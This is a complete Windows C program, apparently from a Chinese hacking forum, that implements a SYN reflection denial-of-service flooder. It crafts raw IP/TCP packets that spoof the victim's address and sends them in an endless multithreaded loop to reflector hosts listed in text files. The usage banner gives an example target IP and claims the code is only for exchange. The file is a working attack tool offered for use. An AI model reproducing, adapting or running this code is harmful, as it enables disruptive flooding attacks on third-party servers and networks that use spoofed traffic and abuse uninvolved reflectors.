SYN攻击源程序

#define DEBUGMSG

#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2_32.lib")

#define erron GetLastError()
#define WSAerron WSAGetLastError()

typedef struct iphdr  //IP首部
{
  UCHAR Verlen;    //4位版本号+4位长度
  UCHAR Tos;      //8位服务类型TOS
  USHORT Total_len;  //16位总长度
  USHORT Idnet;    //16位标识
  USHORT Flags;    //16位标志
  UCHAR Ttl;      //8位TTL
  UCHAR Proto;     //8位协议
  USHORT Checksum;  //16位校验和
  ULONG SourceIP;   //32位源地址
  ULONG DestIP;    //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;

typedef struct tcphdr  //TCP首部
{
  USHORT Sport;    //16位源端口
  USHORT Dport;    //16位目的端口
  ULONG Seq;      //32位序列号
  ULONG Ack;      //32位识别号
  UCHAR Lenres;    //4位长度+6位保留字
  UCHAR Flags;     //6位标志
  USHORT Winsize;   //16位窗口值
  USHORT Checksum;  //16位校验和
  USHORT Urp;      //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;

typedef struct psdhdr  //TCP伪首部
{
  ULONG Saddr;     //32位源地址
  ULONG Daddr;     //32位目的地址
  TCHAR mbz;      //没用
  TCHAR Protol;    //协议
  USHORT Tcplen;    //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;

typedef struct drdossyninfo  //参数结构
{
  UINT TimeOut;         //超时时间
  UINT IPListNum;        //IP列表计数器
  UINT PortListNum;      //端口列表计数器
  ULONG AttackSourceIP;    //目的IP,设置为源IP
  USHORT AttackSourcePort;  //目的端口,设置为源端口
  TCHAR DestIP[1986][16];  //存放IP列表,反射源,设置为目的IP
  TCHAR DestPort[1986][8];  //存放端口列表,反射源,设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数

USHORT checksum(USHORT *buffer, int size);
//计算校验和

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
  DRDOSSYNINFO DrDosSynInfo;    //参数结构
  HANDLE hThread[MAX_PATH];    //线程句柄
  UINT MaxThread=0,ThreadNum=0;  //线程最大值和线程计数器
  UINT DestNum=0;           //目的IP和端口的计数器
  TCHAR StdinIP[16]={0},StdinPort[8]={0};  //存放目的IP和端口
  TCHAR *Find=NULL;
  FILE *fp=NULL;

  if (argc<=2)
  {
     Usage(argv[0]);
     return 0;
  }

  //IP不能大于15
  if (strlen(argv[1])<=15)
     DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
  else
  {
     #ifdef DEBUGMSG
          printf("Internet address no larger than \"15\"\n");
     #endif
     return 0;
  }

  //端口不能小于0和大于65535
  if (atoi(argv[2])>0&&atoi(argv[2])<65535)
     DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
  else
  {
     #ifdef DEBUGMSG
          printf("Port no less than \"0\" and larger than \"65535\"");
     #endif
     return 0;
  }

  //发送超时
  if (argc>3)
     DrDosSynInfo.TimeOut=atoi(argv[3]);
  else
     DrDosSynInfo.TimeOut=666;   //默认

  //线程最大值
  if (argc>4)
  {
     if (atoi(argv[4])<=sizeof (ULONG)*8)
        MaxThread=atoi(argv[4]);
     else
     {
        #ifdef DEBUGMSG
            printf("Thread num no less than \"%d\"\n",sizeof (ULONG)*8);
        #endif
        return 0;
     }
  }
  else
     MaxThread=1;   //默认

  //参数太多了
  if (argc>5)
  {
     Usage(argv[0]);
     return 0;
  }

  #ifdef DEBUGMSG
       //输出参数的详细信息
       fprintf(stderr,"AttackIP:%s\n"
            "AttackPort:%d\n"
            "TimeOut:%d\n"
            "MaxThread:%d\n",argv[1],DrDosSynInfo.AttackSourcePort
            ,DrDosSynInfo.TimeOut,MaxThread);
  #endif

  fp=fopen("DestIP.txt","r");  //打开存放目的IP的文件

  if (fp==NULL)
  {
     #ifdef DEBUGMSG
          printf("Open \"DestIP.txt\" fail\n");
     #endif
     return 0;
  }

  //检测EOF
  while (!feof(fp))
  {
       //读取目的IP到StdinIP
       fgets(StdinIP,sizeof (StdinIP),fp);

       Find=strchr(StdinIP,'\n');  //查找\n
       if (Find)
          *Find='\0';          //替换为\0

       //拷贝到结构中
       strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
       //printf("DestIP:%s\n",DrDosSynInfo.DestIP[DestNum]);  //输出目的IP
       DestNum++;    //计数器递增

       if (DestNum==1986)  //数组满了,跳出循环
       {
          printf("IP Array full\n");
          break;
       }
  }

  DrDosSynInfo.IPListNum=DestNum-1;          //总共读取了多少IP
  printf("\nIP List total num:\t%d\n",DestNum);  //输出总共读取了多少IP

  DestNum=0;    //重新置0,以便用于读取端口
  fclose(fp);   //关闭文件指针

  fp=fopen("DestPort.txt","r");   //打开存放目的端口的文件

  if (fp==NULL)
  {
     #ifdef DEBUGMSG
          printf("Open \"DestPort.txt\" fail\n");
     #endif
     return 0;
  }

  while (!feof(fp))
  {
       //读取目的端口到StdinPort
       fgets(StdinPort,sizeof (StdinPort),fp);

       Find=strchr(StdinPort,'\n');
       if (Find)
          *Find='\0';

       strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
       //printf("DestPort:%s\n",DrDosSynInfo.DestPort[DestNum]);
       DestNum++;

       if (DestNum==1986)
       {
          printf("Port Array full\n");
          break;
       }
  }

  DrDosSynInfo.PortListNum=DestNum-1;          //总共读取了多少端口
  printf("Port List total num:\t%d\n",DestNum);    //输出总共读取了多少端口
  //现在结构中已经有了反射源,呵呵

  Sleep(500);
  printf("\nStarting......\n");

  //循环创建攻击线程
  for (ThreadNum=0;ThreadNum<MaxThread;)
  {
      hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
                          (LPVOID)&DrDosSynInfo,0,NULL);

      if (hThread[ThreadNum]==NULL)
      {
        #ifdef DEBUGMSG
             printf("CreateThread() GetLastError reports %d\n",erron);
        #endif
        goto Clean;
      }

      ThreadNum++;
      Sleep(500);    //等待线程初始化完毕
  }

  printf("Input ctrl+c for exit\n");  //CTRL+C退出

  WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);

  Clean:

      if (hThread!=NULL)
         CloseHandle(hThread);  //释放线程句柄

      if (fp!=NULL)          //关闭文件指针
         fclose(fp);

      return 0;
}

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
    LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
    WSADATA wsadata;
    SOCKET sock=NULL;
    struct sockaddr_in sai;
    TCHAR DestHost[16]={0},DestPort[8]={0};  //目的IP和目的端口
    IPHDR ipHeader;                  //IP首部
    TCPHDR tcpHeader;                 //TCP首部
    PSDHDR psdHeader;                 //TCP伪首部
    BOOL Flag=TRUE;
    UINT IPNum=0,PortNum=0;             //目的IP和目的端口计数器
    int DataSize=0,TimeOut=0;
    int dSyn=0,nRet=0;

    nRet=WSAStartup(MAKEWORD(2,2),&wsadata);   //初始化

    if (nRet)
    {
      #ifdef DEBUGMSG
           printf("WSAStartup() error: %d\n",nRet);
      #endif
      return 0;
    }

    sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);   //建立SOCKET

    if (sock==INVALID_SOCKET)
    {
      #ifdef DEBUGMSG
           printf("socket() GetLastError reports %d\n",WSAerron);
      #endif
      goto Clean;
    }

    //设置IP_HDRINCL,自己填充数据包
    nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));

    if (nRet==SOCKET_ERROR)
    {
      #ifdef DEBUGMSG
           printf("Set IP_HDRINCL\n");
           printf("setsockopt() GetLastError reports %d\n",WSAerron);
      #endif
      goto Clean;
    }

    //设置发送超时
    TimeOut=lpDrDosSynInfo->TimeOut;
    nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));

    if (nRet==SOCKET_ERROR)
    {
      #ifdef DEBUGMSG
           printf("Set SO_SNDTIMEO\n");
           printf("setsockopt() GetLastError reports %d\n",WSAerron);
      #endif      
      goto Clean;
    }

    //填充地址结构
    memset(&sai,0,sizeof (sai));
    sai.sin_family=AF_INET;

    for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
    {
       TCHAR SendBuf[256]={0};   //发送缓冲

       //从结构中提取出目的IP,并拷贝到DestHost中,作为反射源
       strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
       //printf("%s\n",DestHost);

       //从结构中提取出目的端口,并拷贝到DestPort中,作为反射源
       strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
       //printf("%s\n",DestPort);

       sai.sin_port=htons(atoi(DestPort));
       sai.sin_addr.s_addr=inet_addr(DestHost);

       //填充IP首部
       ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
       ipHeader.Tos=0;
       ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
       ipHeader.Idnet=1;
       ipHeader.Flags=0;
       ipHeader.Ttl=128;
       ipHeader.Proto=IPPROTO_TCP;
       ipHeader.Checksum=0;
       ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP);  //受害者IP
       ipHeader.DestIP=inet_addr(DestHost);               //目的IP

       //填充TCP首部
       tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort);  //受害者端口
       tcpHeader.Dport=htons(atoi(DestPort));              //目的端口
       tcpHeader.Seq=1986;
       tcpHeader.Ack=1;
       tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
       tcpHeader.Flags=2;
       tcpHeader.Winsize=1986;
       tcpHeader.Checksum=0;
       tcpHeader.Urp=0;

       //填充TCP伪首部
       psdHeader.Saddr=ipHeader.SourceIP;
       psdHeader.Daddr=ipHeader.DestIP;
       psdHeader.mbz=0;
       psdHeader.Protol=IPPROTO_TCP;
       psdHeader.Tcplen=htons(sizeof (tcpHeader));

       //计算TCP校验和
       memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
       memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
       tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));

       ////计算IP校验和
       memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
       memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
       memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
       DataSize=sizeof (ipHeader)+sizeof (tcpHeader);  //数据包大小
       ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));

       memcpy(SendBuf,&ipHeader,sizeof (ipHeader));

       //发送出去
       dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));

       if (dSyn==SOCKET_ERROR)
       {
          #ifdef DEBUGMSG
              printf("sendto() GetLastError reports %d\n",WSAerron);
          #endif
          goto Clean;
       }

       //IP读取到了末尾,重新置0
       if (IPNum==lpDrDosSynInfo->IPListNum)
          IPNum=0;

       //端口,其他同上
       if (PortNum==lpDrDosSynInfo->PortListNum)
          PortNum=0;
    }

    Clean:

       if (sock!=NULL)      //关闭SOCKET
          closesocket(sock);

       WSACleanup();
       return 1;
}

USHORT checksum(USHORT *buffer, int size)
{
    ULONG cksum=0;

    while(size >1)
    {
        cksum+=*buffer++;
        size-=sizeof(USHORT);
    }

    if(size)
      cksum+=*(UCHAR*)buffer;

    cksum=(cksum>>16)+(cksum&0xffff);
    cksum+=(cksum>>16);
    return (USHORT)(~cksum);
}

void Usage (LPCTSTR Parameter)
{
   fprintf(stderr,"============================================================================\n"
        "    dahubaobao洪水程序之---Syn反射洪水攻击\n"
        "环境:Win2K Adv Server + Visual C++ 6.0\n"
        "作者:dahubaobao[EST]\n"
        "主页:[url]www.eviloctal.com or [url]www.RingZ.org[/url][/url]\n"
        "OICQ:382690\n"
        "邮件:[email][email protected][/email]\n"
        "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!\n\n"
        "使用方法:\n"
        "%s 目标IP 目标端口 发送超时 线程最大值\n"
        "例:%s 218.68.19.86 80 888 10\n\n"
        "注意事项:\n"
        "程序的反射源由\"DestIP.txt\"和\"DestPort.txt\"提供\n"
        "用于保存反射源的数组大小为1986,所以不要超过这个大小\n"
        "本程序只是用做代码交流,如有错误,还请多多包含!\n"
        "============================================================================"
        ,Parameter,Parameter);
}


 

你可能感兴趣的:(struct,socket,null,buffer,FP,winapi)